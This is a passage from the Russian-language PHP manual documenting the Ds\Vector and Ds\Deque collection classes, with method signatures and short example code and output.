$vector = new \Ds\Vector(["a", "b", "c"]);

var_dump($vector->shift());
var_dump($vector->shift());
var_dump($vector->shift());
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает подвектор из заданного диапазона

  • « Ds\Vector::shift
  • Ds\Vector::sort »
  • PHP Manual
  • Ds\Vector
  • Возвращает подвектор из заданного диапазона

Ds\Vector::slice

(PECL ds >= 1.0.0)

Ds\Vector::slice — Возвращает подвектор из заданного диапазона

Описание

public Ds\Vector::slice(int $index, int $length = ?): Ds\Vector

Возвращает подвектор из диапазона заданного начальным индексом index и длиной length.

Список параметров

index

Индекс, задающий начало диапазона.

Если положительный, то будет отсчитываться от начала вектора. Если отрицательный, то от конца.

length

Положительное значение определяет, сколько элементов будет взято. Если количество элементов вектора меньше заданного значения, вернётся столько элементов, сколько есть. Отрицательное значение задаст индекс, отсчитанный от конца вектора, определяющий конец диапазона. Если длина не задана, то будут возвращены все элементы вектора от заданного индекса до конца вектора.

Возвращаемые значения

Подвектор из заданного диапазона.

Примеры

Пример #1 Пример использования Ds\Vector::slice()

<?php
$vector = new \Ds\Vector(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($vector->slice(2));

// Slice from 1, for a length of 3
print_r($vector->slice(1, 3));

// Slice from 1 onwards
print_r($vector->slice(1));

// Slice from 2 from the end onwards
print_r($vector->slice(-2));

// Slice from 1 to 1 from the end
print_r($vector->slice(1, -1));
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Vector Object
(
    [0] => d
    [1] => e
)
Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Сортирует вектор

  • « Ds\Vector::slice
  • Ds\Vector::sorted »
  • PHP Manual
  • Ds\Vector
  • Сортирует вектор

Ds\Vector::sort

(PECL ds >= 1.0.0)

Ds\Vector::sort — Сортирует вектор

Описание

public Ds\Vector::sort(callable $comparator = ?): void

Сортирует вектор, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::sort()

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);
$vector->sort();

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Vector::sort() с callback-функцией сравнения

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$vector->sort(function($a, $b) {
return $b <=> $a;
});

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает отсортированную по значению копию коллекции

  • « Ds\Vector::sort
  • Ds\Vector::sum »
  • PHP Manual
  • Ds\Vector
  • Возвращает отсортированную по значению копию коллекции

Ds\Vector::sorted

(PECL ds >= 1.0.0)

Ds\Vector::sorted — Возвращает отсортированную по значению копию коллекции

Описание

public Ds\Vector::sorted(callable $comparator = ?): Ds\Vector

Возвращает отсортированную копию коллекции, опционально используя callback-функцию comparator.

Список параметров

comparator

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает отсортированную по значению копию коллекции.

Примеры

Пример #1 Пример использования Ds\Vector::sorted()

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

print_r($vector->sorted());
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Пример #2 Пример использования Ds\Vector::sorted() с callback-функцией сравнения

<?php
$vector = new \Ds\Vector([4, 5, 1, 3, 2]);

$sorted = $vector->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сумму всех значений коллекции

  • « Ds\Vector::sorted
  • Ds\Vector::toArray »
  • PHP Manual
  • Ds\Vector
  • Возвращает сумму всех значений коллекции

Ds\Vector::sum

(PECL ds >= 1.0.0)

Ds\Vector::sum — Возвращает сумму всех значений коллекции

Описание

public Ds\Vector::sum(): int|float

Возвращает сумму всех значений коллекции.

Замечание:

Массивы и объекты считаются за ноль.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Сумма всех значений коллекции типов float или int, в зависимости от значений коллекции.

Примеры

Пример #1 Пример использования Ds\Vector::sum() с целочисленными значениями

<?php
$vector = new \Ds\Vector([1, 2, 3]);
var_dump($vector->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

int(6)

Пример #2 Пример использования Ds\Vector::sum() со значениями типа float

<?php
$vector = new \Ds\Vector([1, 2.5, 3]);
var_dump($vector->sum());
?>

Результатом выполнения данного примера будет что-то подобное:

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Преобразует коллекцию в массив (array)

  • « Ds\Vector::sum
  • Ds\Vector::unshift »
  • PHP Manual
  • Ds\Vector
  • Преобразует коллекцию в массив (array)

Ds\Vector::toArray

(PECL ds >= 1.0.0)

Ds\Vector::toArray — Преобразует коллекцию в массив (array)

Описание

public Ds\Vector::toArray(): array

Преобразует коллекцию в массив (array).

Замечание:

Приведение к типу array пока не поддерживается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array), содержащий все элементы коллекции с сохранением их порядка.

Примеры

Пример #1 Пример использования Ds\Vector::toArray()

<?php
$vector = new \Ds\Vector([1, 2, 3]);

var_dump($vector->toArray());
?>

Результатом выполнения данного примера будет что-то подобное:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Добавляет значения в начало вектора

  • « Ds\Vector::toArray
  • Ds\Deque »
  • PHP Manual
  • Ds\Vector
  • Добавляет значения в начало вектора

Ds\Vector::unshift

(PECL ds >= 1.0.0)

Ds\Vector::unshift — Добавляет значения в начало вектора

Описание

public Ds\Vector::unshift(mixed $values = ?): void

Добавляет значения в начало вектора, сдвигая все элементы вперёд, чтобы освободить место для новых.

Список параметров

values

Добавляемые значения.

Замечание:

Множество значений добавляются в том порядке, как они были переданы.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Vector::unshift()

<?php
$vector = new \Ds\Vector([1, 2, 3]);

$vector->unshift("a");
$vector->unshift("b", "c");

print_r($vector);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Vector Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Класс Deque

(PECL ds >= 1.0.0)

Введение

Двухсторонняя очередь - это последовательность значений в непрерывном буфере, который растёт и уменьшаются автоматически. Deque (произносится как "deck") является аббревиатурой от "double-ended queue" и используется внутри Ds\Queue.

Два указателя используются для отслеживания начала и конца. Указатели могут "обернуть" конец очереди, что позволяет избежать перемещения значений для освобождения места. Это делает операции shift и unshift такими быстрыми, что Ds\Vector не может с этим соперничать.

Доступ к элементу по индексу требует пересчёта в зависимости от его индекса в буфере: ((head + position) % capacity).

Сильные стороны

  • Поддерживает синтаксис массива (квадратные скобки).
  • Требует меньше памяти, чем массив (array) с тем же количеством значений.
  • Автоматически освобождает память, когда количество элементов уменьшается.
  • get(),
set(),
push(),
pop(),
shift() и
unshift() имеют сложность O(1).

Слабые стороны

  • Вместимость ограничена степенями двойки.
  • insert() и remove() имеют сложность O(n).

Обзор классов

class Ds\Deque implements Ds\Sequence, ArrayAccess {
/* Константы */
const int MIN_CAPACITY = 8;
/* Методы */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public contains(mixed ...$values): bool
public copy(): Ds\Deque
public filter(callable $callback = ?): Ds\Deque
public find(mixed $value): mixed
public first(): mixed
public get(int $index): mixed
public insert(int $index, mixed ...$values): void
public isEmpty(): bool
public join(string $glue = ?): string
public last(): mixed
public map(callable $callback): Ds\Deque
public merge(mixed $values): Ds\Deque
public pop(): mixed
public push(mixed ...$values): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(int $index): mixed
public reverse(): void
public reversed(): Ds\Deque
public rotate(int $rotations): void
public set(int $index, mixed $value): void
public shift(): mixed
public slice(int $index, int $length = ?): Ds\Deque
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Deque
public sum(): int|float
public toArray(): array
public unshift(mixed $values = ?): void
}

Предопределённые константы

Ds\Deque::MIN_CAPACITY

Список изменений

Версия | Описание
PECL ds 1.3.0 | Теперь класс реализует ArrayAccess.

Содержание

  • Ds\Deque::allocate — Выделяет память под указанную вместимость
  • Ds\Deque::apply — Обновляет все значения, применяя callback-функцию к каждому значению
  • Ds\Deque::capacity — Возвращает текущую вместимость
  • Ds\Deque::clear — Удаляет все значения из двухсторонней очереди
  • Ds\Deque::__construct — Создаёт новый экземпляр
  • Ds\Deque::contains — Проверяет, содержится ли в двухсторонней очереди заданные значения
  • Ds\Deque::copy — Возвращает поверхностную копию коллекции
  • Ds\Deque::count — Возвращает количество элементов двухсторонней очереди
  • Ds\Deque::filter — Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции
  • Ds\Deque::find — Поиск индекса по значению
  • Ds\Deque::first — Возвращает первый элемент двухсторонней очереди
  • Ds\Deque::get — Возвращает значение по индексу
  • Ds\Deque::insert — Вставляет значения по указанному индексу
  • Ds\Deque::isEmpty — Проверяет, пуста ли двухсторонняя очередь
  • Ds\Deque::join — Склеивает все значения в строку
  • Ds\Deque::jsonSerialize — Возвращает коллекцию в JSON-представлении
  • Ds\Deque::last — Возвращает последнее значение двухсторонней очереди
  • Ds\Deque::map — Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди
  • Ds\Deque::merge — Возвращает результат добавления всех заданных значений в двухстороннюю очередь
  • Ds\Deque::pop — Удаляет и возвращает последнее значение
  • Ds\Deque::push — Добавляет значения в конец двухсторонней очереди
  • Ds\Deque::reduce — Уменьшает коллекцию до одного значения, используя callback-функцию
  • Ds\Deque::remove — Удаляет и возвращает значение по индексу
  • Ds\Deque::reverse — Переворачивает текущую двухстороннюю очередь
  • Ds\Deque::reversed — Возвращает перевёрнутую копию двухсторонней очереди
  • Ds\Deque::rotate — Перематывает двухстороннюю очередь на заданное число значений
  • Ds\Deque::set — Заменяет значение по указанному индексу
  • Ds\Deque::shift — Удаляет и возвращает первое значение
  • Ds\Deque::slice — Возвращает подочередь из заданного диапазона
  • Ds\Deque::sort — Сортирует двухстороннюю очередь
  • Ds\Deque::sorted — Возвращает отсортированную по значению копию двухсторонней очереди
  • Ds\Deque::sum — Возвращает сумму всех значений двухсторонней очереди
  • Ds\Deque::toArray — Преобразует двухстороннюю очередь в массив (array)
  • Ds\Deque::unshift — Добавляет значения в начало двухсторонней очереди

User Contributed Notes

There are no user contributed notes for this page.


Выделяет память под указанную вместимость

  • « Ds\Deque
  • Ds\Deque::apply »
  • PHP Manual
  • Ds\Deque
  • Выделяет память под указанную вместимость

Ds\Deque::allocate

(PECL ds >= 1.0.0)

Ds\Deque::allocate — Выделяет память под указанную вместимость

Описание

public Ds\Deque::allocate(int $capacity): void

Гарантирует, что выделено достаточно памяти под заданную вместимость (количество значений). Позволяет избежать динамического перераспределения памяти при добавлении значений.

Список параметров

capacity

Вместимость. Предполагаемое количество значений.

Замечание:

Если новое значение вместимости меньше текущего, то она не изменится.

Замечание:

Значение вместимости округляется до ближайшей степени двойки (т.е. 8, 16, 32, 64, 128 и т.д.)

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::allocate()

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->allocate(100);
var_dump($deque->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Обновляет все значения, применяя callback-функцию к каждому значению

  • « Ds\Deque::allocate
  • Ds\Deque::capacity »
  • PHP Manual
  • Ds\Deque
  • Обновляет все значения, применяя callback-функцию к каждому значению

Ds\Deque::apply

(PECL ds >= 1.0.0)

Ds\Deque::apply — Обновляет все значения, применяя callback-функцию к каждому значению

Описание

public Ds\Deque::apply(callable $callback): void

Обновляет все значения, применяя callback-функцию к каждому значению.

Список параметров

callback

callback(mixed $value): mixed

Объект типа callable.

Callback-функция должна возвращать новое значение, которое заменит текущее.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::apply()

<?php
$deque = new \Ds\Deque([1, 2, 3]);
$deque->apply(function($value) { return $value * 2; });

print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую вместимость

  • « Ds\Deque::apply
  • Ds\Deque::clear »
  • PHP Manual
  • Ds\Deque
  • Возвращает текущую вместимость

Ds\Deque::capacity

(PECL ds >= 1.0.0)

Ds\Deque::capacity — Возвращает текущую вместимость

Описание

public Ds\Deque::capacity(): int

Возвращает текущую вместимость.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая вместимость.

Примеры

Пример #1 Пример использования Ds\Deque::capacity()

<?php
$deque = new \Ds\Deque();
var_dump($deque->capacity());

$deque->push(...range(1, 50));
var_dump($deque->capacity());
?>

Результатом выполнения данного примера будет что-то подобное:

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все значения из двухсторонней очереди

  • « Ds\Deque::capacity
  • Ds\Deque::__construct »
  • PHP Manual
  • Ds\Deque
  • Удаляет все значения из двухсторонней очереди

Ds\Deque::clear

(PECL ds >= 1.0.0)

Ds\Deque::clear — Удаляет все значения из двухсторонней очереди

Описание

public Ds\Deque::clear(): void

Удаляет все значения из двухсторонней очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования Ds\Deque::clear()

<?php
$deque = new \Ds\Deque([1, 2, 3]);
print_r($deque);

$deque->clear();
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый экземпляр

  • « Ds\Deque::clear
  • Ds\Deque::contains »
  • PHP Manual
  • Ds\Deque
  • Создаёт новый экземпляр

Ds\Deque::__construct

(PECL ds >= 1.0.0)

Ds\Deque::__construct — Создаёт новый экземпляр

Описание

public Ds\Deque::__construct(mixed $values = ?)

Создаёт новый экземпляр, используя либо объект, реализующий traversable, либо массив, переданные в качестве параметра values.

Список параметров

values

Объект, реализующий интерфейс traversable или массив.

Примеры

Пример #1 Пример использования Ds\Deque::__construct()

<?php
$deque = new \Ds\Deque();
var_dump($deque);

$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Deque)#2 (0) {
}
object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, содержится ли в двухсторонней очереди заданные значения

  • « Ds\Deque::__construct
  • Ds\Deque::copy »
  • PHP Manual
  • Ds\Deque
  • Проверяет, содержится ли в двухсторонней очереди заданные значения

Ds\Deque::contains

(PECL ds >= 1.0.0)

Ds\Deque::contains — Проверяет, содержится ли в двухсторонней очереди заданные значения

Описание

public Ds\Deque::contains(mixed ...$values): bool

Проверяет, содержится ли в двухсторонней очереди заданные значения.

Список параметров

values

Значения для проверки.

Возвращаемые значения

Возвращает false, если хотя бы одно значение из values не найдено в коллекции и true в противном случае.

Примеры

Пример #1 Пример использования Ds\Deque::contains()

<?php
$deque = new \Ds\Deque(['a', 'b', 'c', 1, 2, 3]);

var_dump($deque->contains('a')); // true
var_dump($deque->contains('a', 'b')); // true
var_dump($deque->contains('c', 'd')); // false

var_dump($deque->contains(...['c', 'b', 'a'])); // true

// Всегда строгая проверка
var_dump($deque->contains(1)); // true
var_dump($deque->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поверхностную копию коллекции

  • « Ds\Deque::contains
  • Ds\Deque::count »
  • PHP Manual
  • Ds\Deque
  • Возвращает поверхностную копию коллекции

Ds\Deque::copy

(PECL ds >= 1.0.0)

Ds\Deque::copy — Возвращает поверхностную копию коллекции

Описание

public Ds\Deque::copy(): Ds\Deque

Возвращает поверхностную копию двухсторонней очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Поверхностная копия двухсторонней очереди.

Примеры

Пример #1 Пример использования Ds\Deque::copy()

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает количество элементов двухсторонней очереди

  • « Ds\Deque::copy
  • Ds\Deque::filter »
  • PHP Manual
  • Ds\Deque
  • Возвращает количество элементов двухсторонней очереди

Ds\Deque::count

(PECL ds >= 1.0.0)

Ds\Deque::count — Возвращает количество элементов двухсторонней очереди

Смотрите Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции

  • « Ds\Deque::count
  • Ds\Deque::find »
  • PHP Manual
  • Ds\Deque
  • Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции

Ds\Deque::filter

(PECL ds >= 1.0.0)

Ds\Deque::filter — Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции

Описание

public Ds\Deque::filter(callable $callback = ?): Ds\Deque

Создаёт новую двухстороннюю очередь из элементов, выбранных с помощью заданной callback-функции.

Список параметров

callback

callback(mixed $value): bool

Опциональный аргумент типа callable, который возвращает true, если значение должно быть включено и false, если нет.

Если callback-функция не задана, то будут включены только элементы, которые приводятся к логическому значению true (смотрите приведение к boolean).

Возвращаемые значения

Новая двухсторонняя очередь, содержащая значения, для которых функция callback вернула true, либо все элементы, которые при приведении к логическому типу становятся true, если параметр callback не задан.

Примеры

Пример #1 Пример Ds\Deque::filter() с использованием callback-функции

<?php
$deque = new \Ds\Deque([1, 2, 3, 4, 5]);

var_dump($deque->filter(function($value) {
return $value % 2 == 0;
}));
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Deque)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Пример #2 Пример Ds\Deque::filter() без callback-функции

<?php
$deque = new \Ds\Deque([0, 1, 'a', true, false]);

var_dump($deque->filter());
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Поиск индекса по значению

  • « Ds\Deque::filter
  • Ds\Deque::first »
  • PHP Manual
  • Ds\Deque
  • Поиск индекса по значению

Ds\Deque::find

(PECL ds >= 1.0.0)

Ds\Deque::find — Поиск индекса по значению

Описание

public Ds\Deque::find(mixed $value): mixed

Возвращает индекс значения value или false, если ничего не найдено.

Список параметров

value

Искомое значение.

Возвращаемые значения

Индекс элемента или false, если значение не найдено.

Замечание:

Элементы сравниваются строго (по типу и значению).

Примеры

Пример #1 Пример использования Ds\Deque::find()

<?php
$deque = new \Ds\Deque(["a", 1, true]);

var_dump($deque->find("a")); // 0
var_dump($deque->find("b")); // false
var_dump($deque->find("1")); // false
var_dump($deque->find(1)); // 1
?>

Результатом выполнения данного примера будет что-то подобное:

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первый элемент двухсторонней очереди

  • « Ds\Deque::find
  • Ds\Deque::get »
  • PHP Manual
  • Ds\Deque
  • Возвращает первый элемент двухсторонней очереди

Ds\Deque::first

(PECL ds >= 1.0.0)

Ds\Deque::first — Возвращает первый элемент двухсторонней очереди

Описание

public Ds\Deque::first(): mixed

Возвращает первый элемент двухсторонней очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Первый элемент двухсторонней очереди.

Ошибки

Выбрасывает исключение UnderflowException, если двухсторонняя очередь пуста.

Примеры

Пример #1 Пример использования Ds\Deque::first()

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->first());
?>

Результатом выполнения данного примера будет что-то подобное:

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает значение по индексу

  • « Ds\Deque::first
  • Ds\Deque::insert »
  • PHP Manual
  • Ds\Deque
  • Возвращает значение по индексу

Ds\Deque::get

(PECL ds >= 1.0.0)

Ds\Deque::get — Возвращает значение по индексу

Описание

public Ds\Deque::get(int $index): mixed

Возвращает значение по заданному индексу.

Список параметров

index

Индекс. Первый элемент имеет индекс 0.

Возвращаемые значения

Значение по заданному индексу.

Ошибки

Выбрасывает исключение OutOfRangeException, если индекс некорректен.

Примеры

Пример #1 Пример использования Ds\Deque::get()

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->get(0));
var_dump($deque->get(1));
var_dump($deque->get(2));
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

Пример #2 Пример использования Ds\Deque::get() с синтаксисом массива

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque[0]);
var_dump($deque[1]);
var_dump($deque[2]);
?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Вставляет значения по указанному индексу

  • « Ds\Deque::get
  • Ds\Deque::isEmpty »
  • PHP Manual
  • Ds\Deque
  • Вставляет значения по указанному индексу

Ds\Deque::insert

(PECL ds >= 1.0.0)

Ds\Deque::insert — Вставляет значения по указанному индексу

Описание

public Ds\Deque::insert(int $index, mixed ...$values): void

Вставляет значения по указанному индексу.

Список параметров

index

Индекс, по которому необходимо осуществить вставку. 0 <= index <= count

Замечание:

Можно указывать индекс, равный количеству элементов двухсторонней очереди.

values

Значение или значения для вставки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Выбрасывает исключение OutOfRangeException в случае некорректного индекса.

Примеры

Пример #1 Пример использования Ds\Deque::insert()

<?php
$deque = new \Ds\Deque();

$deque->insert(0, "e"); // [e]
$deque->insert(1, "f"); // [e, f]
$deque->insert(2, "g"); // [e, f, g]
$deque->insert(0, "a", "b"); // [a, b, e, f, g]
$deque->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

object(Ds\Deque)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, пуста ли двухсторонняя очередь

  • « Ds\Deque::insert
  • Ds\Deque::join »
  • PHP Manual
  • Ds\Deque
  • Проверяет, пуста ли двухсторонняя очередь

Ds\Deque::isEmpty

(PECL ds >= 1.0.0)

Ds\Deque::isEmpty — Проверяет, пуста ли двухсторонняя очередь

Описание

public Ds\Deque::isEmpty(): bool

Проверяет, пуста ли двухсторонняя очередь.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если двухсторонняя очередь пуста, false в противном случае.

Примеры

Пример #1 Пример использования Ds\Deque::isEmpty()

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = new \Ds\Deque();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Склеивает все значения в строку

  • « Ds\Deque::isEmpty
  • Ds\Deque::jsonSerialize »
  • PHP Manual
  • Ds\Deque
  • Склеивает все значения в строку

Ds\Deque::join

(PECL ds >= 1.0.0)

Ds\Deque::join — Склеивает все значения в строку

Описание

public Ds\Deque::join(string $glue = ?): string

Склеивает все значения в строку, опционально используя заданный разделитель.

Список параметров

glue

Необязательный параметр, задающий разделитель между значениями.

Возвращаемые значения

Все значения коллекции склеенные в одну строку.

Примеры

Пример #1 Пример использования Ds\Deque::join() с разделителем

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join("|"));
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "a|b|c|1|2|3"

Пример #2 Пример использования Ds\Deque::join() без разделителя

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join());
?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает коллекцию в JSON-представлении

  • « Ds\Deque::join
  • Ds\Deque::last »
  • PHP Manual
  • Ds\Deque
  • Возвращает коллекцию в JSON-представлении

Ds\Deque::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Deque::jsonSerialize — Возвращает коллекцию в JSON-представлении

Смотрите JsonSerializable::jsonSerialize()

Замечание:

Никогда не используйте эту функцию напрямую.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнее значение двухсторонней очереди

  • « Ds\Deque::jsonSerialize
  • Ds\Deque::map »
  • PHP Manual
  • Ds\Deque
  • Возвращает последнее значение двухсторонней очереди

Ds\Deque::last

(PECL ds >= 1.0.0)

Ds\Deque::last — Возвращает последнее значение двухсторонней очереди

Описание

public Ds\Deque::last(): mixed

Возвращает последнее значение двухсторонней очереди.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Последний элемент двухсторонней очереди.

Ошибки

Выбрасывает исключение UnderflowException, если двухсторонней очереди пуста.

Примеры

Пример #1 Пример использования Ds\Deque::last()

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->last());
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди

  • « Ds\Deque::last
  • Ds\Deque::merge »
  • PHP Manual
  • Ds\Deque
  • Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди

Ds\Deque::map

(PECL ds >= 1.0.0)

Ds\Deque::map — Возвращает результат применения callback-функции ко всем значениям двухсторонней очереди

Описание

public Ds\Deque::map(callable $callback): Ds\Deque

Возвращает результат применения callback-функции, переданной в callback, ко всем значениям двухсторонней очереди.

Список параметров

callback

callback(mixed $value): mixed

Аргумент типа callable.

Эта функция должна возвращать новое значение для каждого элемента двухсторонней очереди.

Возвращаемые значения

Результат применения callback-функции к каждому значению двухсторонней очереди.

Замечание:

Значения в текущей двухсторонней очереди останутся неизменными.

Примеры

Пример #1 Пример использования Ds\Deque::map()

<?php
$deque = new \Ds\Deque([1, 2, 3]);

print_r($deque->map(function($value) { return $value * 2; }));
print_r($deque);
?>

Результатом выполнения данного примера будет что-то подобное:

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает результат добавления всех заданных значений в двухстороннюю очередь

  • « Ds\Deque::map
  • Ds\Deque::pop »
  • PHP Manual
  • Ds\Deque
  • Возвращает результат добавления всех заданных значений в двухстороннюю очередь

Ds\Deque::merge

(PECL ds >= 1.0.0)

Ds\Deque::merge — Возвращает результат добавления всех заданных значений в двухстороннюю очередь

Описание

public Ds\Deque::merge(mixed $values): Ds\Deque

Возвращает результат добавления всех заданных значений в двухстороннюю очередь.

Список параметров

values

Объект класса traversable или array.

Возвращаемые значения

Результат добавления всех переданных значений в двухстороннюю очередь. Фактически делается копия двухсторонней очереди, в которую добавляются значения.

Замечание:

Текущий экземпляр двухсторонней очереди останется нетронутым.

Примеры

Пример #1 Пример использования Ds\Deque::merge()

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->merge([4, 5, 6]));
var_dump($deque);
?>

